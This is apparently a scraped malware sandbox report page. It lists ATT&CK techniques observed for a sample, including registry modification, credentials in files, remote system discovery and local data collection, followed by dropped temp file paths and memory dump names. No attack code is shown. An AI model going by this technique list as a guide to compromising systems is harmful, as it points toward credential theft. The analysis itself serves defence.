Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

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C:\Users\Admin\AppData\Local\Temp\80A.bi1

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C:\Users\Admin\AppData\Local\Temp\80A.bi1

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C:\Users\Admin\AppData\Local\Temp\8AA.bi1

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C:\Users\Admin\AppData\Local\Temp\8AA.bi1

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C:\Users\Admin\AppData\Local\Temp\BN28C0.tmp

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C:\Users\Admin\AppData\Local\Temp\BN28C0.tmp

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C:\Users\Admin\AppData\Local\Temp\RES8D85.tmp

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C:\Users\Admin\AppData\Local\Temp\RES8EED.tmp

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C:\Users\Admin\AppData\Local\Temp\c5zmxomj\c5zmxomj.dll

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C:\Users\Admin\AppData\Local\Temp\oiuycdv3\oiuycdv3.dll

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\??\c:\Users\Admin\AppData\Local\Temp\c5zmxomj\CSCE09D1983B3B1431FA063C5AEC854C5.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\c5zmxomj\c5zmxomj.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\c5zmxomj\c5zmxomj.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\oiuycdv3\CSCB2B2CDD8A70745D7AD6E96D93E36FBE4.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\oiuycdv3\oiuycdv3.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\oiuycdv3\oiuycdv3.cmdline

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memory/68-7-0x000000000BC00000-0x000000000BC12000-memory.dmp

Filesize
72KB

Download
memory/68-6-0x000000000BC01067-mapping.dmp

Download
memory/68-5-0x000000000BC00000-0x000000000BC12000-memory.dmp

Filesize
72KB

Download
memory/664-24-0x0000000000000000-mapping.dmp

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memory/680-27-0x0000000000000000-mapping.dmp

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memory/1312-25-0x0000000000000000-mapping.dmp

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memory/1880-4-0x0000000000000000-mapping.dmp

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memory/2224-20-0x00000000051D0000-0x00000000051D1000-memory.dmp

Filesize
4KB

Download
memory/2224-16-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/2444-50-0x0000000000000000-mapping.dmp

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memory/2472-49-0x0000000000000000-mapping.dmp

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memory/2560-43-0x0000000000000000-mapping.dmp

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memory/2560-44-0x0000009974EC7000-mapping.dmp

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memory/2672-48-0x0000000000000000-mapping.dmp

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memory/2680-47-0x0000000000000000-mapping.dmp

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memory/3104-30-0x0000000000000000-mapping.dmp

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memory/3152-46-0x0000000000000000-mapping.dmp

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memory/3324-12-0x0000000001160000-0x0000000001161000-memory.dmp

Filesize
4KB

Download
memory/3324-8-0x0000000000000000-mapping.dmp

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memory/3324-11-0x0000000000D36000-0x0000000000D37000-memory.dmp

Filesize
4KB

Download
memory/3356-45-0x0000000000000000-mapping.dmp

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memory/3408-26-0x0000000000000000-mapping.dmp

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memory/3524-34-0x0000000000000000-mapping.dmp

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memory/3720-41-0x0000000000000000-mapping.dmp

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memory/3720-42-0x0000009EE35E5000-mapping.dmp

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memory/3828-1-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/3828-2-0x0000000000402960-mapping.dmp

Download
memory/3828-3-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/3840-23-0x0000000000A60000-0x0000000000A61000-memory.dmp

Filesize
4KB

Download
memory/3840-17-0x0000000000000000-mapping.dmp

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memory/3840-18-0x0000000000000000-mapping.dmp

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memory/3840-19-0x0000000000000000-mapping.dmp

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memory/3840-21-0x0000000000000000-mapping.dmp

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memory/3840-0-0x0000000000000000-mapping.dmp

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memory/3840-22-0x0000000000000000-mapping.dmp

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memory/3892-37-0x0000000000000000-mapping.dmp

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memory/3920-55-0x0000000000000000-mapping.dmp

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memory/3920-56-0x00000026A3E12000-mapping.dmp

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